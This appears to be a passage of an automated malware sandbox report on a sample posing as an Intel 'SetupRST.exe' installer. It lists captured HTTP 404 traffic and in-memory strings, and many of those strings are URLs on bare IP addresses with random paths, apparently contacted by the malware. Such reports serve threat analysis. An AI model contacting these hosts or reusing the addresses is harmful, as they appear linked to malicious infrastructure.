Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 28 Oct 2024 15:39:37 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.27.2Date: Mon, 28 Oct 2024 15:40:04 GMTTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=20Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 28 Oct 2024 15:40:31 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 28 Oct 2024 15:40:31 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

Source: SetupRST.exe	String found in binary or memory: HTTP://WWW.INTEL.COM
Source: SetupRST.exe, SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: HTTP://WWW.INTEL.COM.TW/CONTENT/WWW/TW/ZH/PRIVACY/INTEL-PRIVACY-NOTICE.HTML)
Source: SetupRST.exe	String found in binary or memory: HTTP://WWW.INTEL.COM/PRIVACY
Source: SetupRST.exe	String found in binary or memory: HTTP://WWW.INTEL.COM/PRIVACY.
Source: SetupRST.exe, SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: HTTP://WWW.INTEL.COM/PRIVACY.
Source: SetupRST.exe	String found in binary or memory: HTTP://WWW.INTEL.FR/PRIVACY
Source: SetupRST.exe, SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: HTTPS://WWW.INTEL.IT/CONTENT/WWW/IT/IT/PRIVACY/INTEL-PRIVACY-NOTICE.HTML.
Source: SetupRST.exe, SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: HTTPS://WWW.THAILAND.INTEL.COM/CONTENT/WWW/TH/TH/PRIVACY/INTEL-PRIVACY-NOTICE.HTML
Source: alg.exe, 00000004.00000003.1880831635.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://13.251.16.150/fmbsitmsxd
Source: alg.exe, 00000004.00000003.1992871085.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1992871085.0000000000545000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://13.251.16.150/fmedrijjvr
Source: alg.exe, 00000004.00000003.1992871085.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://13.251.16.150/fmedrijjvrngs
Source: alg.exe, 00000004.00000003.1880717416.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://13.251.16.150:80/fmbsitmsxd
Source: alg.exe, 00000004.00000003.2087836390.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1992785874.00000000005A9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2129791138.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2100368860.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2036331410.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2173276288.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2201440892.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2111875189.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2005243132.00000000005A9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2027468907.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2153926440.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2188352338.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2017812631.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2046353449.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2141050049.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2015407794.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2070053869.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2038331133.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2005939739.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2175619988.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2056556401.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://13.251.16.150:80/fmedrijjvr
Source: alg.exe, 00000004.00000003.2220514909.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://13.251.16.150:80/mocdalayui
Source: alg.exe, 00000004.00000003.2070053869.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2056556401.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://165.160.13.20:80/krbjifiksb
Source: alg.exe, 00000004.00000003.2046353449.00000000005AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://165.160.13.20:80/vqftyarvq
Source: alg.exe, 00000004.00000003.1943240177.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1955534393.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.234.222.138/
Source: alg.exe, 00000004.00000003.1943240177.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.234.222.138/PqV
Source: alg.exe, 00000004.00000003.1943240177.0000000000545000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1955534393.0000000000545000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.234.222.138/jeucdxkbfjx
Source: alg.exe, 00000004.00000003.1955061132.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1935029720.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2006481076.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1992027048.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2071299807.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2072974664.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2049829059.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2046353449.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2015407794.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1963314531.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2027468907.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2056556401.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2060002824.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2038493315.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1975542737.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2005939739.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2036331410.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2028168899.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2004420652.00000000005BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.234.222.138/lwehxoftdabhvG
Source: alg.exe, 00000004.00000003.1964112463.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1943038453.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1955475548.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.234.222.138:80/jeucdxkbfjx
Source: alg.exe, 00000004.00000003.1598226540.00000000005AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.234.222.138:80/jkg
Source: alg.exe, 00000004.00000003.1943038453.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1955475548.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.234.222.138:80/lwehxoftdabhv
Source: alg.exe, 00000004.00000003.1784162906.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1728305996.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1617628811.00000000005A9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1598226540.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1602062638.00000000005AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.234.222.138:80/qprvfvxthn
Source: SetupRST.exe, 00000000.00000003.1501562343.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1918453132.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1943240177.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1955534393.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1964235205.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/
Source: SetupRST.exe, 00000000.00000002.1528600545.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, SetupRST.exe, 00000000.00000003.1501562343.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/8
Source: alg.exe, 00000004.00000003.1598287996.000000000058F000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1573524866.000000000058F000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1562032588.000000000058F000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1546942335.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1617678569.000000000058F000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1602125784.000000000058F000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1547164464.000000000058E000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1575951282.000000000058C000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1583235568.000000000058F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/bjvqnbwkkxebhk
Source: alg.exe, 00000004.00000003.1602125784.000000000058F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/bn
Source: alg.exe, 00000004.00000003.1617678569.000000000058F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/g
Source: alg.exe, 00000004.00000003.1617678569.000000000058F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/g1
Source: alg.exe, 00000004.00000003.1955061132.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1917185232.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1935029720.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2006481076.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1992027048.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2071299807.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2072974664.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2049829059.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2046353449.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2015407794.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1963314531.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2027468907.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2056556401.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2060002824.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2038493315.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1975542737.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2005939739.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2036331410.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2028168899.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2004420652.00000000005BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/guwhxghdott
Source: alg.exe, 00000004.00000003.1943240177.0000000000545000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1918453132.0000000000545000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/guwhxghdottue
Source: SetupRST.exe, 00000000.00000003.1501562343.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/hsnletpxhs
Source: SetupRST.exe, 00000000.00000003.1521074372.00000000005D0000.00000004.00000020.00020000.00000000.sdmp, SetupRST.exe, 00000000.00000003.1509851528.00000000005D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/hsnletpxhs)
Source: SetupRST.exe, 00000000.00000003.1501449599.00000000005D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/hsnletpxhs:b
Source: SetupRST.exe, 00000000.00000002.1528600545.00000000005D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/hsnletpxhsc
Source: alg.exe, 00000004.00000003.2173276288.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2154538122.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2190726582.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2129791138.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2238199459.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2142076635.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2221751488.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2201440892.00000000005B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/qreurouxjhhujdt
Source: alg.exe, 00000004.00000003.2173276288.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2175619988.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107:80/auaskog
Source: alg.exe, 00000004.00000003.1546942335.000000000058A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107:80/bjvqnbwkkxebhkY
Source: alg.exe, 00000004.00000003.1602062638.00000000005AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107:80/bn
Source: alg.exe, 00000004.00000003.1617628811.00000000005A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107:80/g
Source: alg.exe, 00000004.00000003.1918301037.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1943038453.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107:80/guwhxghdott
Source: SetupRST.exe, 00000000.00000003.1521074372.00000000005D9000.00000004.00000020.00020000.00000000.sdmp, SetupRST.exe, 00000000.00000003.1509851528.00000000005D9000.00000004.00000020.00020000.00000000.sdmp, SetupRST.exe, 00000000.00000002.1528600545.00000000005D9000.00000004.00000020.00020000.00000000.sdmp, SetupRST.exe, 00000000.00000003.1501449599.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107:80/hsnletpxhs
Source: alg.exe, 00000004.00000003.2129791138.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2141050049.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107:80/qreurouxjhhujdt
Source: alg.exe, 00000004.00000003.1522008090.000000000058B000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1546942335.000000000058A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107:80/xwha
Source: alg.exe, 00000004.00000003.1964235205.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.208.156.248/
Source: alg.exe, 00000004.00000003.1964235205.000000000055B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.208.156.248/syefsgspiwwwgt-B
Source: alg.exe, 00000004.00000003.2006481076.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1992027048.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2071299807.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2072974664.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2049829059.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2046353449.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2015407794.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1963314531.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2027468907.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2056556401.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2060002824.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2038493315.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1975542737.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2005939739.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2036331410.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2028168899.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2004420652.00000000005BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.208.156.248/syefsgspiwwwgth
